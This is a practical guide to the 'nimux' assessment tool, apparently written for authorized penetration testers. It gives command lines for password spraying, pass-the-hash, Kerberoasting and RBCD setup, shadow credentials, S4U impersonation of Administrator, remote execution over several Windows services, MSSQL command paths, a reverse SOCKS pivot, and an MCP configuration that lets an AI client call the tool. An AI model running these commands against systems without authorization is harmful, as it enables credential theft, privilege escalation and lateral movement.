Mastering nimux
A practical long-form guide to mastering nimux across discovery, credential validation, Active Directory, Kerberos, remote execution, file movement, pivoting, MCP, and reporting.
Overview
Mastering nimux is not about memorizing every flag. It is about understanding how the command surface fits together during an authorized assessment. The same binary can move from discovery to authentication checks, from SMB and LDAP enumeration to Kerberos ticket handling, from WinRM or service execution to file movement, from MSSQL validation to SOCKS pivoting, and from CLI output to MCP-assisted workflows.
The value is consistency. A strong operator can keep scope, evidence, cleanup, and command syntax in one workflow instead of constantly translating between different tools.
This guide uses neutral hostnames and accounts. Run these commands only on systems you own or are explicitly authorized to assess.
Build the operator model
Think of nimux in layers:
- Discovery: identify reachable hosts and services.
- Authentication validation: test known credentials safely.
- Enumeration: collect SMB, LDAP, protocol, and service context.
- Identity operations: Kerberos, ADCS, ACL, GPO, group, and account paths.
- Execution: WinRM, WMI/CIM, SCM, helper service, scheduled task, DCOM, and MSSQL paths.
- File movement: SMB primitives and shell-level transfer helpers.
- Pivoting: SOCKS routes and
--proxy. - Reporting: JSON output, logs, rollback records, and clear evidence.
A mature workflow moves through those layers deliberately. It avoids noisy actions before it has enough context, and it avoids leaving state behind after validation.
Start with precise discovery
Use scan to find where deeper protocol checks are worth the time.
nimux scan 10.10.10.0/24 --port 21,22,80,88,111,135,139,389,445,464,548,5900,5985,1433,3306,3389 --openUse top ports when the target range is broad:
nimux scan 10.10.10.0/24 --top-ports 100 --open --json > scan.jsonlUse UDP only when it is useful, because UDP can be slower and noisier:
nimux scan dc01.corp.local --udp --port 53,88,123,137,161,464For RDP exposure, use the dedicated probe:
nimux rdp workstation01.corp.local --jsonRDP probing gives negotiation, TLS certificate, and NTLM-info context. It is not an interactive RDP client.
Validate credentials without rushing
When credentials are in scope, start with low-impact checks. SMB share listing and WinRM whoami are usually enough to prove authentication without changing anything.
nimux smb dc01.corp.local -d corp.local -u operator -p '<password>' --sharesnimux winrm workstation01.corp.local -d corp.local -u operator -p '<password>' --cmd whoamiFor NT hash validation:
nimux smb dc01.corp.local -d corp.local -u operator -H <nt_hash> --shares --usersFor Kerberos-backed validation:
nimux winrm workstation01.corp.local -d corp.local -k --ccache operator.ccache --cmd whoamiIf you are testing candidate passwords, read policy first:
nimux smb dc01.corp.local -d corp.local -u operator -p '<password>' --pass-polThen use conservative controls:
nimux smb @targets.txt -d corp.local \
-u users.txt \
-p '<candidate-password>' \
--lockout-aware \
--max-attempts-per-user 1 \
--spray-delay 3000 \
--json > spray.jsonl--lockout-aware forces a conservative mode: serial execution and one attempt per user unless you explicitly set another limit.
Build the SMB picture
SMB gives practical context: shares, users, groups, sessions, logged-on users, disks, RID brute forcing, and file operations.
nimux smb fileserver01.corp.local -d corp.local -u operator -p '<password>' --sharesnimux smb dc01.corp.local -d corp.local -u operator -p '<password>' --users --groups --pass-polnimux smb fileserver01.corp.local -d corp.local -u operator -p '<password>' --sessions --loggedon-users --disksWhen SAMR enumeration is limited, RID brute forcing can still identify principals:
nimux smb dc01.corp.local -d corp.local -u operator -H <nt_hash> --rid-brute 5000 --jsonUse direct SMB file operations carefully:
nimux ls fileserver01.corp.local -d corp.local -u operator -p '<password>' --share Shared --remote Projectsnimux get fileserver01.corp.local -d corp.local -u operator -p '<password>' \
--share Shared \
--remote Projects\deploy.ps1 \
--local ./evidence-deploy.ps1For write validation:
nimux put fileserver01.corp.local -d corp.local -u operator -p '<password>' \
--share Shared \
--local ./marker.txt \
--remote nimux-validation\marker.txtnimux rm fileserver01.corp.local -d corp.local -u operator -p '<password>' \
--share Shared \
--remote nimux-validation\marker.txtThe goal is evidence, not bulk collection. List first, collect only what matters, and document why each file was accessed.
Use LDAP as the control plane
LDAP is where nimux becomes more than a network scanner. Use named queries for common questions:
nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' --query usersnimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' --query computers --query trusts --query gpos --query dcsnimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' --query asreproast --query kerberoastUse raw filters for focused review:
nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
--filter '(adminCount=1)' \
--attrs sAMAccountName,distinguishedName,userPrincipalNameUse graph output when a path needs relationship analysis:
nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
--bloodhound \
--bloodhound-out bloodhound-outputFor DNS and certificate posture:
nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' --query dns --query certsnimux ldap ca01.corp.local -d corp.local -u operator -p '<password>' --adcsRead first. Write later, only with rollback.
Treat writes as controlled tests
LDAP writes can prove high-impact findings. They can also damage an environment if used casually. Use --dry-run where supported and always write rollback records for state changes.
Targeted Kerberoast setup:
nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
--make-kerberoast \
--user target.user \
--spn HTTP/scoped-validation.corp.local \
--dry-run \
--rollback-out targeted-roast-rollback.jsonlRBCD setup:
nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
--set-rbcd \
--from controlled-computer$ \
--to target-server$ \
--rollback-out rbcd-rollback.jsonlGroup membership:
nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
--add-member \
--group 'Scoped Operators' \
--user test.user \
--rollback-out group-rollback.jsonlShadow credentials:
nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
--shadow-creds \
--user target.account \
--shadow-out target-shadow \
--rollback-out shadow-rollback.jsonlWith --shadow-out, nimux writes certificate and key material and attempts PKINIT to produce a ccache when possible.
Master Kerberos cache discipline
Kerberos work becomes fragile when filenames and service names are vague. Use explicit cache names.
Request a TGT:
nimux kerberos dc01.corp.local -d corp.local -u operator -p '<password>' \
--request kinit \
--out operator.ccacheDescribe or list a cache:
nimux kerberos dc01.corp.local --request describe --ccache operator.ccacheRequest a service ticket:
nimux kerberos dc01.corp.local -d corp.local \
--request getst \
--ccache operator.ccache \
--service cifs/fileserver01.corp.local \
--out operator-cifs-fileserver01.ccacheConvert ticket formats when needed:
nimux kerberos dc01.corp.local --request ccache-to-kirbi \
--ccache operator.ccache \
--out operator.kirbinimux kerberos dc01.corp.local --request kirbi-to-ccache \
--kirbi operator.kirbi \
--out operator-imported.ccacheRequest S4U output:
nimux kerberos dc01.corp.local -d corp.local \
--request s4u \
--ccache service-account.ccache \
--user Administrator \
--service cifs/server01.corp.local \
--out administrator-cifs-server01.ccacheValidate the cache with the matching protocol:
nimux smb server01.corp.local -d corp.local -k \
--ccache administrator-cifs-server01.ccache \
--sharesUse execution modes deliberately
nimux supports several execution modes because Windows environments behave differently.
WinRM is usually the cleanest when available:
nimux winrm server01.corp.local -d corp.local -u operator -p '<password>' --cmd whoamiInteractive WinRM:
nimux winrm server01.corp.local -d corp.local -u operator -p '<password>' --shellCIM/WMI:
nimux cim server01.corp.local -d corp.local -u operator -H <nt_hash> --cmd whoamiSCM:
nimux scm server01.corp.local -d corp.local -u Administrator -H <nt_hash> --cmd "dir C:\\"Helper service mode:
nimux bin server01.corp.local -d corp.local -u Administrator -p '<password>' --cmd whoamiScheduled task:
nimux task server01.corp.local -d corp.local -u Administrator -p '<password>' --cmd whoamiDCOM:
nimux mmc server01.corp.local -d corp.local -u Administrator -p '<password>' --cmd whoamiPick the mode that fits the service exposure, account privileges, output needs, and rules of engagement.
Use MSSQL as a workflow, not just a query tool
MSSQL paths can expose identity context, linked servers, impersonation, and controlled command execution.
nimux mssql sql01.corp.local -d corp.local -u sql_operator -p '<password>' \
--query 'SELECT @@version'Audit risky capabilities:
nimux mssql sql01.corp.local -d corp.local -u sql_operator -p '<password>' \
--enum-danger --enum-impersonateUse SQL CLI mode for exploration:
nimux mssql sql01.corp.local -d corp.local -u sql_operator -p '<password>' --cliUseful CLI helpers include:
whoami
serverinfo
databases
use application
tables
links
impersonate app_admin
revert
exitUse --cmd, --ole, --clr, and linked-server execution only when command execution is explicitly in scope.
Pivot with SOCKS and keep routing visible
SOCKS pivoting is most useful when a host can reach an internal network your operator system cannot reach directly.
Reverse mode:
nimux socks 192.168.1.103 -u administrator -p '<password>' \
--reverse \
--listener 192.168.1.104 \
--socks-port 1088 \
--control-port 1081Route follow-up commands through the pivot:
nimux ldap dc04.internal.local -d internal.local -u operator -p '<password>' \
--proxy socks5://127.0.0.1:1088 \
--query computersnimux smb fileserver.internal.local -d internal.local -u operator -p '<password>' \
--proxy socks5://127.0.0.1:1088 \
--sharesClean up using the kill command printed by nimux after deployment:
nimux socks 192.168.1.103 [auth] --kill --pid <pid> --socks-remote '<remote-helper-path>'The route is part of the evidence. Record local SOCKS port, control port, remote helper path, PID, and cleanup result.
Use MCP without giving up control
The MCP wrapper is useful when an AI client should call structured nimux tools instead of inventing shell commands. Keep the same discipline:
- Prefer read-only enumeration first.
- Require approval for remote execution and writes.
- Use redaction for secrets.
- Keep policy files under version control.
- Keep the raw nimux CLI available for direct validation.
Typical MCP client config points to nimux_mcp:
{
"mcpServers": {
"nimux": {
"command": "/usr/local/bin/nimux_mcp",
"args": []
}
}
}MCP should make workflows clearer, not more automatic than the engagement allows.
Report with evidence and rollback
Good nimux reporting answers these questions:
- What command was run?
- What account and authentication mode were used?
- What host and protocol were touched?
- Was the action read-only or state-changing?
- What output proves the finding?
- Was sensitive material redacted?
- What cleanup or rollback was performed?
Use JSON where possible:
nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' --query trusts --json > trusts.jsonlUse rollback records for changes:
nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
--acl --add \
--user target.user \
--principal test.user \
--rights ResetPassword \
--rollback-out acl-rollback.jsonlFinal workflow
A clean full-path nimux workflow might look like this:
nimux scan 10.10.10.0/24 --port 88,135,139,389,445,464,5985,1433,3389 --open
nimux smb dc01.corp.local -d corp.local -u operator -p '<password>' --shares --users --pass-pol
nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' --query trusts --query gpos --query constrained
nimux kerberos dc01.corp.local -d corp.local -u operator -p '<password>' --request kinit --out operator.ccache
nimux winrm workstation01.corp.local -d corp.local -k --ccache operator.ccache --cmd whoami
nimux mssql sql01.corp.local -d corp.local -u sql_operator -p '<password>' --enum-danger --enum-impersonate
nimux socks workstation01.corp.local -d corp.local -u operator -p '<password>' --reverse --listener 10.10.14.10 --socks-port 1088That is the point of mastering nimux: keep the assessment path coherent from first contact to final proof, with commands that are readable, repeatable, and scoped.